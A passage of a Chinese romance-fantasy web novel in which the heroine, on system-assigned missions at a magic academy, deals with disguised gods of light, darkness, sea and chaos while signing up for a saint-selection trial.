许是朋友这两个字触动了他,他红着脸点了点头。 他留给她的这半边侧脸是眼睛完好的一方,从季白的视觉看过去,这半张脸简直完美得像是雕塑,不,比雕塑还要美。 因为哪怕是再优秀的艺术家也雕不出这样漂亮完美的脸,是一种突破人类想象极限的美,任何人看到都会为之倾倒。 季白回到宿舍后,第一件事就是先冲进浴室洗手,可当她刚刚打开嵌在墙上的兽头流水嘴时,就突然感到周遭的空气降得阴冷。 一双手突兀地揽在她的腰身,她分明感受到有人正从后抱着她甚至能感受到那洒落在她肩头的鼻息,可她从墙上的镜子里却看不见任何人,只有属于她的苍白的脸。 “不是要来奥斯俐学院当圣女吗?”喜怒难辨的幽幽声从她的耳边响起,“怎么一会不看着你,就带了一个男人回来?” 【作者有话说】 因为这个副本是西幻副本,所以台词和语句我都希望能展现出一种和之前不同的,偏西方的那种华丽,浮夸的感觉,希望这个小小的改变能让大家喜欢…… 78 第78章 泊里独自一人坐在客厅的木椅上,他的手有些紧张地放在膝盖上,目光低垂着望着放在自己面前的小蛋糕,香甜的气息混杂着独属于她身上的幽香往他的鼻子里钻。 他觉得自己快要不能呼吸,仿佛灵魂坠入她的怀抱,每一滴血,每一块肉都沾染上她的味道。 浴室传来哗啦啦的流水声,他的大脑仿佛可以想象不听话的水珠溅到她娇嫩雪白的手腕上,又从她泛粉的饱满的指尖滴落而下。 泊里突然觉得有点渴,浴室的流水声越来越大,越来越响,已经不像是单纯的洗手了。 泊里悄悄抬眸朝那道彩绘玻璃门看了过去,除了门上象征光明的花纹外,他什么也看不见。 流水声突兀地戛然而止,空气也不知在什么时候变得无比阴冷,泊里心头升起一股不安的预感,这种心情又有点像是他看见最讨厌的东西一样。 可他明明什么都没有看见。 浴室里静悄悄的,好像里面的人消失了一样。 洗手需要这么久吗? “季白?”泊里试探性地低喊了一声,可浴室里无人回应。 泊里再也坐不住了,他怕他今天新认识的朋友,唯一的朋友会出事。 他起身朝浴室走去,手放在门把手上轻轻一推,门就开了。 一地的水,却不见季白的身影。 泊里瞬间着了急,提高音量喊道:“季白?” 他一边喊一边找,只听从另一边传来季白的声音。 “泊里,我在这儿。” 这声音听起来虚弱极了,轻而无力的声音还在抖。 “我没事。” 她的声音听起来怎么也不像没事的样子,担忧的*泊里并未多想,抬脚就朝浴室的最里间走去,他撩开眼前的纱帘就瞧见季白正面色赤红的躺在浴缸里。 半边身子都浸泡在水中,打湿的衣服紧贴着她的肌肤,勾勒出她无比完美的身材曲线。 她的眼神再对上他惊愕的目光时,慌乱得好似山林中撞上猎人的小鹿。 “泊……泊里。”她的声音抖得不成样子,浴缸中装了半截的水也漾起一圈圈的波浪,“你先出去,我……我一会就来。” 她突然又尖叫了一声,随后又立即紧咬着下唇一言不发,似乎是在忍受着极大的痛苦。 那双漂亮的,剔透的眼睛水汪汪地看着他,仿佛是在用眼神请求他快点离开。 可她看起来很痛苦呢。 逼狭的小空间使季白的喘息声越发明显,每一个呼吸都震耳欲聋地传到泊里的耳朵里。 他并没有离开,而是蹲了下来。 那只金棕色的眼睛毫不遮掩地直视着她,出口的声音好似是一汪解渴的清泉。 “你真的没事吗?”他说。 “可你看起来不太舒服呢。”微凉的手覆在她滚烫的额头上,“是生病了吗?” 季白简直快要疯了。 在泊里看不见的视角里,她感觉自己整个人都被赫瑞特紧抱在怀中,他柔软的,滚烫的指尖轻抚,撩拨着她的肌肤。 他似是故意要让她在泊里面前出丑一样,手指的频率越来越快,动作越来越重,让她几乎快要尖叫出声。 “怎么一句话也不说呢?”泊里轻声问着。 季白的下唇被她咬出血来,她哪里敢出声,她怕自己一出声就会发出压抑不住的古怪声音。 泊里微凉的手指摸上被她紧咬的唇,手指强势地挤进她的嘴中,语调平缓地说:“这么难受的话,就咬我的手吧。” 他说话时的吐息尽数落在她的脸上,那根与她炙热体温格格不入的微凉手指也很快染上了她的温度。 这样的姿势实在是有点过于暧昧了。 可他的神色又是那么的平静,如天使般漂亮的脸庞上也没有半分的旖旎与色欲,好像真的只是在担心她。 赫瑞特搂着她腰的手,忽而朝下重重掐了她一下,又疼又麻的感觉让她忍不住差点喊出声。 他黏稠的,如同春药般的声音在她耳边响起。 “你的眼光很不错啊,捡了这么漂亮的人回来,他干净纯澈的灵魂,连我都心动了,你说,如果我现在现身的话,他会不会吓得落荒而逃?” 季白心中一颤,紧张地看了眼泊里,怕他能听见赫瑞特的声音,也怕他能感受到赫瑞特的存在。 但他的神色并没有任何改变,好似什么都听不见一样。 他垂下眼帘,低声道:“我……也会一点光明系的治愈魔法,应该可以缓解你的痛苦。” 季白看着泊里把手放在她的额头,随着一阵莹润的,耀眼的白色光芒亮起时,季白只觉身后一空,那道紧贴着自己的身影消失了。 赫瑞特走了? 为什么?是被泊里的光明魔法驱散了吗? 季白仰起头望着泊里金棕色的眼睛,不放过他眼中一丝一毫的情绪变化。 他真的……没有听见,没有感受到赫瑞特的存在吗? 泊里见季白脸上不正常的潮红逐渐褪下后,方放下了覆在她额头上的手。 “好点了吗?”泊里轻声询问。 季白笑了一下,说:“好多了,谢谢你,泊里。” 泊里确定她没有问题后,冲她笑了一下,缓缓站起来转身离开了浴室,他的脚步还是很慢很慢,姿态又佝偻,给人一种很奇怪的诡异。 季白盯着他看了一会,待他彻底离开浴室后,又低声唤赫瑞特的名字,然而再没有一个人回答她,浴室里阴冷的空气也逐渐得以回温。 他是真的走了。 季白总觉得和泊里刚刚释放的魔法有关。 他是无意的,还是有意的? 如果是后者,季白想到她本次的任务忍不住打了个冷颤,如果让泊里一开始就知道她和黑暗神有染,还会让她当选圣女,还会给她神眷吗? 季白轻叹一声,换了一件干燥的衣服后就重新走出了浴室。 如今她实力微弱,也只能走一步看一步了,万幸的是这次的任务时间很长很长,她可以慢慢来。 季白出门时就看见泊里坐在椅子上,双手乖巧地放在膝头,桌子上的食物一动也没动,似乎是在专门等着她出来一样。 季白擦了擦头发,在泊里面前坐下,她先咬了一口蛋糕,而后把另一块蛋糕朝泊里的方向推了推,说:“快吃吧。” 泊里点了下头,开始低着头进食,他吃东西时的动作很慢很慢,给人一种慢条斯理的优雅感。 “泊里。”季白说,“你入学多久了啊?你也是因为信仰光明神所以加入奥斯俐学院的吗?” 泊里咽下嘴中的食物,缓了缓低声说:“一年。” “我没地方去,奥斯俐学院的老师说我天赋很高就把我带进来了。” “那这么说你一定很厉害了。”季白托着下巴一脸崇拜地说,“那你为什么不把欺负你的人都打跑呢?” “打?”泊里的眼神有一瞬间的迷茫,随后又轻声说,“他们行恶事,自有天上的神明看着,我若与他们做出相同的事,我与恶人又有何区别?” “啊?”季白傻了。“别人都打到你脸上了,你不反抗,难道还要把你的右脸给他打吗?” 泊里点头,“不该是这样的吗?我们要宽恕自己的敌人,神明才会宽恕我们。” 季白不说话了,默默挖了一口蛋糕吃,心中暗想,如果谁要打她,她一定要打得他他妈都认不出来,让他下次再也不敢欺负人。 泊里这种宽恕的仁爱,她是一辈子也学不会。 难怪他是光明神呢。 哪怕被人那样欺负也是一点都不在意,季白开始怀疑他故意搞成这幅惨兮兮的样子,该不会是他的某种修行吧? 一双手突然覆上她的头顶,季白惊讶地抬眸朝泊里看去,就见他那张漂亮又诡异的脸庞朝她靠近,金棕色的眼睛注视着她,眼底是一种她看不懂的情绪。 “季白,你身上的邪恶与怨恨太重了。” “它们只会把你拉到永无止境的黑暗中去。” 季白穿着学院统一发放的白色校袍,提着书包行色匆匆地往教室赶,回想起昨天发生的一切,季白到现在也想不明白,光明神泊里斯达尔到底是什么情况。 他最后的那一句是在警告她吗? 季白满脑子都在想着泊里和赫瑞特的事,因而没太注意前路,加上时间又有点来不及,她一路上都走得很快,结果在上楼时一个没注意与人迎面撞了个满怀。 “哦,这位美丽可爱的小姐,您没事吧?” 强烈的冲击力致使季白险些朝后倒去,但后腰却被一双滚烫的手牢牢箍住,轻佻的,带着挑逗意味的声音从她的上首传来。 季白心中颤了颤,总感觉这道声音有点点熟悉,但一时又想不起。 直至脑海中系统那句提示音响起,她方恍然大悟。 【发现任务目标——黑暗神赫瑞特诅科奈。】 为了隐瞒身份,所以连声音都变了吗? 季白站稳了身子后,往后退了半步,低声说:“我没事。” 季白暂时是不想和赫瑞特有太多交集,关于赫瑞特的任务是欺骗和玩弄他一次,只要她能当上圣女,这个任务自然也能顺带完成。 可如果她现在和赫瑞特牵扯太多让泊里有所察觉,她就别想当圣女了,更别提什么神眷了。 那家伙不代表光明与正义消灭她都算不错了。 在季白身后的赫瑞特从地上捡起那朵象征着光明的鸢尾花,绿色的眼眸紧盯着季白逐渐远去的背景,眼底含着一抹玩味的笑意,修长的指尖随意轻抚着洁白的花瓣,很快圣洁的花瓣染上了一抹粘稠的黑色,黑色如同活着的丝线般在花瓣上游走,随后隐入花蕊消失不见。 季白一步也不敢停地一路小跑着赶到教室,她在后排找了个角落坐下后,就气喘吁吁地把书包放好。 不过赫瑞特为什么会突然现身来这个学校啊? 她刚刚走得匆忙,只瞥了赫瑞特一眼,依稀记得他的样子十分的俊美诱人,只看一眼就会让人生出邪念,那双碧绿的眼眸仿佛能将最圣洁的天使拉入地狱,与他同乐。 很快,走廊外传来庄重又威严的三道钟声,这是代表着上课的意思,但率先进来的并不是学校的老师,而是季白刚刚遇上的赫瑞特。 他穿着那件象征光明的白袍,慢悠悠地从外走来,一瞬间所有人的注意力都被他吸引,与那双绿眸如出一辙的墨绿色的微卷长发随意地披散在脑后,使他看起来慵懒又极具吸引力。 季白立时就听见前排窃窃私语的声音。 “他是谁啊?生得真漂亮。” “这辈子都没有见过这么好看的人,天呐,那双如宝石般的绿眼睛正看着我呢,我觉得我要晕倒了。” “我好想和他坐同桌,求求了,我愿意用十年寿命换他坐在我的旁边。” 季白低着头心里不断念叨着看不见我,看不见我。 “大家好啊,我的名字是赫瑞特,以后我们就是同学了,希望大家能多多关照,当然如果班里谁有困难的话,我也十分愿意献上我的微薄之力。” 季白一惊,忍不住抬眸看了他一眼,他怎么敢在隶属于光明神殿的奥斯俐学院说自己的名字是叫赫瑞特的啊。 “赫瑞特,我的天,他连名字都这么好听!” 季白:??? 难道其他人就没觉得这个名字有什么不对劲吗? 这可是黑暗神的名字啊,难道这里的人都不知道黑暗神的名字? 季白自己安慰自己,这里是光明神的地盘,大家也都是光明神的信徒,不知道黑暗神的名字也很正常。 可她又突然想到两个关键点。 如果普通的隶属于光明神殿的人不知晓黑暗神的名字,那她来这儿的第一天就堂而皇之地对赫瑞特说出黑暗神的全名时,为何赫瑞特当时没有半分的异常,好像并不奇怪她为何会知道黑暗神的名字。 如果说是因为赫瑞特之前找上原主时,曾经和原主提过,那么泊里呢…… 泊里第一次见她就如实说了自己的名字,他入学已有一年,难道别人都没有发现他的名字和光明神一样吗? 季白觉得要么是大家不在意,要么就是……神明的名讳远非一般凡人所知。 季白想到后一种可能,顿时打了个冷颤,那她岂不是在第一天就暴露了? 季白正想的入神,耳边突然传来赫瑞特的声音。 “这位美丽的小姐,我可以坐在你旁边吗?” 季白:“不可以。” 她是真不想和赫瑞特有什么牵扯,经过浴室那一次,她已经看透他乐子人的个性了,完全是那种不管不顾,只要有趣好玩就会去做的疯子。 “哦,可以啊。”赫瑞特笑眯眯地在她身边的位置坐下,“那以后就多指教咯,我的同桌。” 季白一脸疑惑,“我说不可以,你没听见吗?” “啊?”赫瑞特装得一幅很伤心的样子,“可我刚刚明明听见你说可以呢,这位美丽的小姐为什么要拒绝我呢,难道是我得罪你了吗?” 他说着又从怀里掏出一朵洁白的鸢尾花,低头亲吻了下花瓣,故作伤感地说:“我本来还想着把这朵美丽的花献给小姐呢,既然小姐不愿意那就算了。” 季白怎么看都觉得那朵花分外眼熟,她连忙摸了摸衣兜,发现兜里空空如也,那果然是她的花! 那朵花是昨天泊里走之前送给她的,说什么这朵花会净化她灵魂之类的话,她本来并没有放在心上,但又觉得是个刷好感的好机会。 因而今天上学时,就故意戴在身上,想着等会下课去给泊里看呢,以此来证明她有把他的话放在心上,也是一心向往光明的虔诚信徒,结果却被赫瑞特拿去了。 如果让泊里知道她把他送的花给了赫瑞特,那误会可就更大了。 因而她想也不想就连忙伸手去夺,道:“还给我。” 赫瑞特笑着把手抬高故意不让季白够到,嘴上还笑眯眯地说:“这位美丽的小姐是后悔了吗,是又想和我坐同桌了吗?” 他一面说着,一面见季白已经快够到花了,又换了只手,嘴上还不正经地调笑道:“这位同学请注意一点,你就算再喜欢我,也不能这样往我身上扑啊,我们毕竟还在教室呢。” 他说着又放低声音凑到季白耳边,道:“如果你很急的话,我们……可以换个地方。” 季白瞪了他一眼,气呼呼地坐回了自己的位置。 “那是我的花,麻烦你还给我。” 赫瑞特没说话,只是用手指拨了拨花瓣,“你的花,怎么证明呢?你叫它,它会给你开花吗?” 季白咬了咬牙,不说话了。 这位显了形的黑暗神简直比之前还要可恶。 赫瑞特故意又把鸢尾花往季白眼前晃了晃,“这朵花我本打算送给我的新同桌,你想要,我给你就是了。” 季白先是看了他一眼,没有动。 她很怀疑她只要一动,这家伙就会又故意把花拿走引她去抢,然后倒打一耙地说,是她要往他身上扑。 “不要啊?”赫瑞特晃了晃,故意道,“那我给别人去了。” 他说着,还故意朝前排的女生们眨了眨眼,做了个飞吻的动作,简直就是一个活生生的花孔雀。 “我要。” 赫瑞特笑了笑,把花扔给了她,然后说,“那我现在可以坐这儿了吗?” “你坐吧。” 季白已经精疲力尽了。 赫瑞特如果打定主意要缠着她,她就算强烈拒绝了这次还有下次等着她呢。 季白低头看了一眼花,确定花没有问题后,方小心翼翼地贴身把它收了起来。 赫瑞特见季白这幅样子,忍不住轻嗤一笑,嘲道:“一朵鸢尾花而已,有什么好的?” 季白没有理他,但他也不觉得无趣,反而撑着头笑眯眯地看着季白说:“当你看过绽放在黑暗中的彼岸花,一定会爱上它的,它鲜艳又浓烈,红得像人的血,可不是鸢尾花这种无趣的花可比的。” 季白还是没有搭理他,心里却忍不住暗暗吐槽。 这家伙明明是在光明神的地盘,却一点也不收敛,明目张胆地说什么彼岸花,说什么人的血,也不怕别人听见。 她看了眼前排频频回头的同学们,又忍不住想,不过以这家伙受欢迎的程度,恐怕也不会有人去举报他。 这时,班上的老师终于走进来了。 她先是说了一些学校的基本情况后,就开始介绍另一件与季白息息相关的事。 “各位,光明神殿百年一选的圣女选拔即将开始,我们奥斯俐学校也有一位名额。” “如果有同学们感兴趣,下课后可以找我领取报名表。” “学校会在下个月从报名的人选中选择出适合的预备圣女,送往光明神殿。” 季白眼神顿时一亮,下个月,那如果能选上的话,岂不是很快就能离开这儿? “老师,学校会根据什么选择出适合的人选啊?” “暂定的计划是会通过一场冒险选择出预备圣女,这次的冒险难度等级非常高,且选择的地点十分危险,所以请各位新生慎重考虑。” 老师又回答了同学们的几个问题后,就开始了讲课。 一下课,季白就想去找老师领取报名表,但是她的同桌赫瑞特实在很受欢迎,大家里三层外三层地来到赫瑞特身边同他聊天。 当季白艰难地挤出人群时,早已不见老师的身影,她只能在艾米的指引下前往老师所在的办公楼。 “就是前面。”艾米说,“穿过这栋楼,就到了。” 季白点了点头,正要继续走,这时却突然传来一阵悠扬的,婉转的歌声,这歌声神秘而丰富多姿,仿若是穿透云层的光,仿若大海温柔的呼唤,听得季白只觉灵魂都得到了满足,让人为之陶醉,疯狂。 系统的提示音再次响起。 【发现任务目标——海神涅塞斯菲勒德。】 季白愣了一下,所以这道动人的歌声是海神的声音? 季白一时有些犹豫,不知是先去找老师要报名表,还是先去找海神涅塞斯菲勒德。 她想了半晌,最终还是决定先去找老师,如今围绕在她身边的神明已经足够多了。 谁知道遇上海神又是什么任务,不如等她忙完黑暗神和光明神的任务,再来找海神。 季白这么想着,竟还加快了脚下的步伐,似乎是生怕遇上海神一样。 当她一溜烟地跑到老师办公室时,正想要开口询问报名单的事,就见里面坐了一位陌生的俊美青年。 他神色温和地抬眸看了过来,声音如同刚刚那道歌声一样动人。 “同学,你有什么事吗?” 脑海中系统的提示音再次响起。 【发现任务目标——海神涅塞斯菲勒德。】 79 第79章 季白不可置信地看着眼前的俊美青年,一头色泽饱满的蓝发打理得一丝不苟,里面是一件白色的高领衬衫,袖口与领口都叠加了繁复的蕾丝花边,外面则罩着一件学院统一发给学院老师的白色圆领长袍,唯有袖口与衣襟滚了一圈金边。 这样的衣袍,这样的打扮,季白今日没看一百也有七八十了,可偏偏他却穿出了与众不同的风姿卓然。 那双如大海般湛蓝的眼睛温柔地注视着季白,他见季白半晌不语,脸上的笑意越发温和可亲。 “这位同学怎么不说话呢,难道老师我长得很吓人吗?” 季白的眼前多了一个任务面板,属于海神的那条任务线也再次亮了。 任务三:获得海神的认可与传承。 季白人傻了。 光明神和黑暗神的任务已经足够麻烦了,为什么海神的任务比他们还要复杂?! 认可与传承,是要当海神徒弟的意思吗? 本次任务的四条任务线,只有属于混沌神的那一条没有亮。 很显然,季白先前的猜测错了。 季白来不及细想为何只有混沌神的任务无法解锁,连忙对面前的海神涅塞斯露出一抹单纯无害的笑容,脸上还恰到好处地浮上一抹少女看见优秀异性的娇羞红晕。 “老师您好,我是刚入学的一年级新生,是来找威尔老师拿参加预备圣女的报名表。” 季白说着还踮脚往办公室里面看了一眼,小声嘀咕着:“奇怪,明明艾米告诉我威尔老师的办公室就在这儿,怎么不见他人呢。” “威尔的学生啊。”涅塞斯微笑着从桌面上取出一张羊皮纸递给她,说,“他刚刚有事出去了,我是他的朋友,涅塞斯。” “我想,你也可以喊我涅塞斯老师。” 涅塞斯一面说着一面又递给她一支羽毛笔,随后拍了拍身旁的桌子,说:“坐下填吧。” “好。”季白接过笔和羊皮纸就在涅塞斯的对面坐下填写报名表,她刚写下自己的名字就听耳边传来涅塞斯温柔又好听的声音。 “季白同学。” 季白写字的手顿了顿,抬眸看向坐在对面的涅塞斯,他坐得十分端正,骨节修长且白皙的手交缠而握。 这个姿势一般人做总会有一种居高临下的傲慢与不可一世的强势,但季白却只在他的身上看见如水般的温柔和春风般的亲切。 他看起来实在是一个温和不过的人。 “涅塞斯老师,怎么了?” “你为什么要报名预备圣女的选拔?”涅塞斯温笑着问,“这次的冒险十分危险,并不适合像你这样刚入学的一年级新生。” “很危险吗?”季白问。 涅塞斯弯了弯眸,眼睛眯成了一道月牙。 “可能会死的哦。” 季白闻言握着羽毛笔的手一紧,心也跟着不安起来,涅塞斯见季白神色严肃起来,又轻笑一声笑出声来。 “好啦,别这么紧张。”涅塞斯说,“学院还不至于残酷到要送学生们去送死。” “不过确实很危险,何况你又刚刚入学,实力远不如已经入学几年的学姐们,如何同她们竞争呢?万一你在冒险中出了意外,伤了残了,别说光明神殿的圣女,说不好以后都不能使用魔法了。” 季白没有立即答话,而是垂下眼帘思索。 他是在劝她放弃? 为什么呢? “涅塞斯老师是不想我参加预备圣女的选拔吗?” “选择的权利在你。”涅塞斯微笑着说,“我只是以老师的角度提醒你本次冒险中会存在的风险。” “威尔老师已经在课堂上讲过了。”季白说,“我也知道这次的冒险会很危险,我也不一定可以选的上,但我还是想试一试。” 季白对涅塞斯粲然一笑,道:“伟大的光明神是我一生的信仰,只要能够接近伟大的光明神,能够近距离聆听他的神谕,我愿意付出任何代价,哪怕是我的生命。” “所以这次预备圣女的选拔,无论有多么多么危险,多么多么困难,我都想要试一试。” 涅塞斯交叠着放在桌面的手往上抬了抬,手背托住他线条完美的下巴,那双微微向上扬的湛蓝色眼眸始终温柔地注视着她的眼睛。 “这么喜欢光明神啊。”他低声道。 季白快速填好了报名表交给了涅塞斯,随后故意反问道。 “能来到这所学院的大家不都是如此吗?” “难道……老师不喜欢光明神?” “是呢,我不喜欢他。”涅塞斯托着下巴,笑眯眯地问,“虔诚的季白同学打算怎么做呢?” “向学院揭发我吗?” 季白愣在原地,一时之间不知该如何接话。 按照她刚刚立的人设,现在的她确实应该义愤填膺地质问他,可……可她还需要得到海神的认可。 早知道自己刚刚就不该多话。 正在季白为难时,就听见涅塞斯清澈的笑声响起。 “开个玩笑,别这么紧张,老师我当然也是喜欢并信仰光明神的。” 涅塞斯刻意加重了喜欢与信仰四个字,他说着站起来走到季白身边,带着她往窗边走去。 楼下是一览无遗的学院风光,铺设着石砖的道路上三三两两地走着过路的同学与老师。 他指着下面的人说:“人人嘴上说着信仰光明神,可你说下面有多少人是真的信仰光明神,又有多少是因信仰光明神而所得到的权势,地位,财富而信仰?” 在这片大陆,信仰不单单是一种信仰,神殿掌握着绝对的资源与话语权,哪怕是国王在没有神殿的认可前,也不过是一个无人指派,无人听从的可怜虫。 我是光明神虔诚的信徒。 这句话是贵族通往权势的通行证,是普通人保命的免死牌。 “涅塞斯老师是哪一种呢?”季白问。 涅塞斯没有说话,只是笑眯眯地说:“季白同学,祝你能成功通过预备圣女第一关的选拔。” 季白告别了涅塞斯后,就朝教室走去,一路上季白从艾米口中知道了涅塞斯已在学院任职有五年之久,他教人类通史,是奥斯俐学院最受欢迎的老师。 自从他接手人类通史这门课程后,这门课就从最枯燥无聊的课程一跃变成全校最为火爆的课程。 季白听了艾米的介绍后,有一点惊讶。 她还以为海神涅塞斯教授的课程会和水系魔法有关,没想到竟然是完全搭不上关系的人类通史,哪怕他教授海洋魔法生物这门课程都比人类通史更可靠点。 她正埋头苦想着关于海神的任务,耳边却突然传来一道熟悉的声音。 “姐姐。”紧接着季白就清晰地听见朝她跑来的脚步声,她往后一瞧,就看见几天不见的混沌神查奥斯朝她跑了过来。 他换上了一身与她一模一样的学院服,季白一脸惊喜地看向他,问:“你怎么在这儿?我那天听老师说你没有通过考试,你是怎么进来的?” 查奥斯挠了挠头,用力想了想,方说:“我那天被传送到一个陌生的地方后,就一直等一直等,结果突然有一个人路过看见了我,他说他是学院的老师,问我为什么一直蹲在这儿,我说我想进奥斯俐学院上学,他就带我进来了。” 查奥斯话落对季白露出一抹天真又纯澈的笑。 “看吧,我就说我很幸运,一定能进来的。” 季白心想,这和幸运没有任何关系,完全是你神力的作用吧。 “那真是恭喜你了。”季白特意看了一眼面板,关于混沌神的任务还是没有解锁。 “你现在想起你的名字了吗?” 查奥斯摇头,但随后他又露出一抹格外灿烂的笑,献宝似得和季白说:“但是他们给我起了一个新的名字。” “我想想,叫什么来着。”查奥斯紧皱着眉头用力想着,忽而他眼睛一亮,道,“想起来了,福尔,他们叫我福尔。” “姐姐,怎么样?”查奥斯高兴得头上的呆毛都立起来了,“这个名字是不是顺口又好听,福尔,我很喜欢。” 季白先是愣了一下,随后想到这个名字的谐音,顿时涌上一股怒意,她沉着脸说:“不好。” 查奥斯吓了一跳,小心翼翼地问:“姐姐不喜欢吗?” 季白见他一脸的无辜与不解,顿觉心累,也不知他是装傻还是真傻。 “不喜欢。”季白说,“以后不准让别人叫你这个名字,如果谁这么叫你……” 季白想了想,说:“你就揍他,相信我,这不是一个好名字。” 查奥斯虽然不明白为什么,但还是听话地点了点头。 “我帮你取一个名字吧。”季白说。 “好啊。”查奥斯的眼睛顿时亮了,“姐姐给我取的名字,我一定不会忘记。” 季白心想,这可不一定。 “查奥斯。”季白说,“以后你的名字就是查奥斯。” 季白心想,如果混沌神的迷糊是装的,那么他在听见这个名字的时候一定会有所反应。 然而查奥斯在听见这个名字时,眼中只闪过一缕迷茫,随后轻声说,“查奥斯……” “这个名字怎么这么耳熟。” 能不耳熟吗,这就是他之前的名字。 季白见查奥斯眼中的迷茫不像是演的,忍不住叹了口气,混沌神查奥斯的状态似乎比光明神泊里还要糟糕。 如果有最惨神明的排行榜,他们两人一定能上榜。 季白正与查奥斯说着话,就突然听见庄重肃穆的钟声连敲了三下,是上课了的意思。 季白不敢再逗留,与查奥斯告别后就往班级里赶。 查奥斯不是考进来的,所以和季白不在一个班,听艾米说是在隔壁的贵族班。 当季白赶回教室时,赫瑞特还在座位上坐着,仅仅是一个上午的时间,他的桌子上就摆满象征着求爱的鲜花与甜点,听说还有隔壁班和其他年级的人送。 季白看看赫瑞特,觉得他和涅塞斯有点点像,两个人都是非常受欢迎的类型。 赫瑞特单手撑着下巴,另一只手则捏着娇嫩的花瓣玩。 “你去哪儿了?” “去找老师要报名表了。”季白说。 赫瑞特松开花瓣,敲了敲桌面,突然靠近季白低声说:“听说这次圣女选拔,参与者还需要自行选择一位搭档一同进入冒险。” “你,选好搭档了吗?” 季白惊了。 “还要选搭档?”季白问,“你听谁说的?” 刚刚涅塞斯可没有说要选搭档的事。 “看来你还不知道。”赫瑞特往后退了退,坐在椅子上气定神闲地说,“圣女擅长的是治愈系以及辅助类的魔法。既然是冒险,那么当然要选择一位可以保护圣女的战士或者攻击类的魔法师了。” “怎么样,要不要选我?”赫瑞特说着,手掌向上一翻,掌心里就多出了一团熊熊燃烧的火焰。 季白隔了老远都能感受到这团火焰所散发出来的可怖热量,她毫不怀疑,只要赫瑞特把这团火球随意一丢,一定能在转瞬之间让一个人化为飞灰。 危险的火焰在他的指尖跳跃着,像是某种魔术,又像是火焰的舞蹈。 他昳丽的面容在火光的映照下愈发秾艳,张张合合的红唇似是恶魔的邀请,危险却又让人难以拒绝。 “在这所学院里,你不会找到比我还强的魔法师。”他说着收起了火焰,低着头凑到季白眼前,笑得张扬又蛊惑,“战士也一样。” 赫瑞特的话有一定的道理,在目前可以选择的三位神明中,赫瑞特的实力最强,如果他认真帮忙的话,无论这次的冒险考验有多么难,都一定能拿下第一名。 可前提是,他认真帮忙,而不是随着性子恶意捣乱。 季白觉得以赫瑞特的性子,他随地发疯的可能性非常大。 季白笑着说:“谢谢,我会认真考虑的。” 赫瑞特闻言惊诧地挑了挑眉。 “怎么了?”季白问。 “没什么。”赫瑞特往后一倒靠在椅子上,明明是最普通平凡的木椅却被他坐出了王座的气质,墨绿色的眼睛玩味地盯着她说,“只是从来没想过有一天会有人类对我说出认真考虑四个字。” 季白收回视线没再理他这个自恋狂。 “那你可要快点考虑清楚。”赫瑞特说,“毕竟我的行情超级火爆,除了你还有不少人热情邀请我加入她们呢。” 季白听到这儿,心中一紧。 她可以不要赫瑞特,但决不能让赫瑞特加入别人。 不然以这家伙的性格一定会给她捣乱,说不好最后为了看乐子就帮着别人拿下第一了。 季白立时换上一副笑脸,说:“赫瑞特,你不能加入别人。” 赫瑞特挑眉,轻嗤一声,“你倒是霸道。” “你不要我,也不让别人要我?” 季白深知这家伙喜欢听彩虹屁的个性,连忙吹捧道:“赫瑞特,我知道你最厉害了,整个班级,不,整个学院,包括老师都没有你这么厉害聪明的人了,你是我见过最聪明,最厉害,最漂亮的人,如果你加入别人*的队伍,我肯定赢不了,何况……我也实在不想在冒险里和你对上,我不忍心对你下手的,难道赫瑞特就忍心对你最可爱的同桌下死手吗?我们可是同桌啊,怎么能变成互相攻击的人呢。” 季白说着还用堪称迷妹的星星眼注视着赫瑞特。 对于季白无比夸张的吹捧,赫瑞特果然很受用。 他轻哼了一声,说:“好啦,我不会加入别人的。” “要组队呢。”他说着勾了勾季白的小拇指,滚烫的指腹如蛇一般缠了上来紧紧绞住带来阵阵酥麻感,“我也只会和我最亲爱的同桌组队,这下满意了吧?” 赫瑞特自动把季白刚刚的那番话转化为她答应和他组队的意思。 下了课后,季白又一刻不停地去找泊里。 她想了整整一节课,觉得还是邀请泊里是最靠谱,最安全的做法。 毕竟这次是选择预备圣女的冒险,有光明神本尊相助,她成功的几率会更大,若是选择了赫瑞特,纵然赢下这次的冒险,恐怕也会很难真正当选上圣女和赢得光明神的神眷了。 季白赶到泊里所在的教室时就看见泊里一个人孤零零地坐在座位上,消瘦细长的身子使他看起来越发可怜了。 “泊里。”季白快步走上前去,泊里听见声音惊喜地抬起头,金棕色的眼睛亮晶晶地看着她。 “你怎么来了?” 季白在他对面坐下,笑眯眯地说:“有事找你。” 在说正事之前,季白先小心翼翼地从兜里取出泊里送她的鸢尾花。 “你看。”季白笑着说,“我有认真听你的话,把它戴在身上呢。” 季白说着低头吻了吻花瓣,嗅闻着它的芬芳,随后一脸满足地说:“我好像有感觉到今天的我平静了许多。” 泊里的目光静静看着季白手中的花,随后眼神一变,从季白手中接了过来,指尖溢出一抹闪耀的白光,随后季白就看见一抹游蛇般的乌黑从花蕊中钻了出来。 季白吓了一跳。 “这……这是什么?” 这不会就是她的罪恶吧?她有这么坏吗? 泊里平静地把这朵花丢掉,说:“这朵花沾染了邪恶的气息,已经不能再要了。” 季白咬了下唇,该不会是因为被赫瑞特拿过的缘故吧? 她正琢磨着要怎么给泊里解释时,就听泊里又出声问道:“你找我是有什么事?” 季白果断选择先把赫瑞特的事瞒下,回道:“我报名了预备圣女的选拔。” “他们说这次的冒险还需要再选一位搭档,我在学院里只认识你一个朋友,所以想邀请你做我的搭档。” “可以吗?泊里。” 泊里眼中闪过一抹诧异,“你要邀请我?” 季白笑得灿烂,“对啊,你是我的朋友嘛。” 泊里垂下眼睫,放在桌面上的手紧了紧,随后说:“你不怕……我会给你添麻烦吗?” “怎么会?”季白说,“我觉得泊里很厉害啊,我们两人组队一定能拿下这次的冠军。” 泊里抬眸看了季白一眼,又问:“你……很想赢?” “当然。”季白说,“我非常非常非常敬仰伟大的光明神,我一定要赢。” 泊里搓了搓指尖,轻声说:“抱歉,我不能答应你的邀请,你……你找别人吧。” 季白顿时惊得瞪大了双眼,她千算万算没有算到泊里会拒绝她。 她的脑瓜子又忍不住多转了一下,开始怀疑这该不会是泊里对她的……某种考验吧? 考验她是否意志坚定的选择他? 季白越想越有这种可能,毕竟在神话传说里,这样的考验可不少。 “泊里。”季白说,“我只想邀请你,别的人……我不相信他们,也不想和他们组队,我只相信你。” “我不知道你为什么会拒绝我,但没关系,我会等你到最后一刻。” “如果你想清楚了就来找我,我们一起去找老师登记下我们的名字。” 季白说到这儿,又冲着泊里笑得灿烂,语气坚定地又说了一遍,“我会等你到最后一刻。” 季白嘴上虽然这么说着,但当天回去她就做了二手准备。 如果泊里还是不肯答应她,她就和赫瑞特组队。 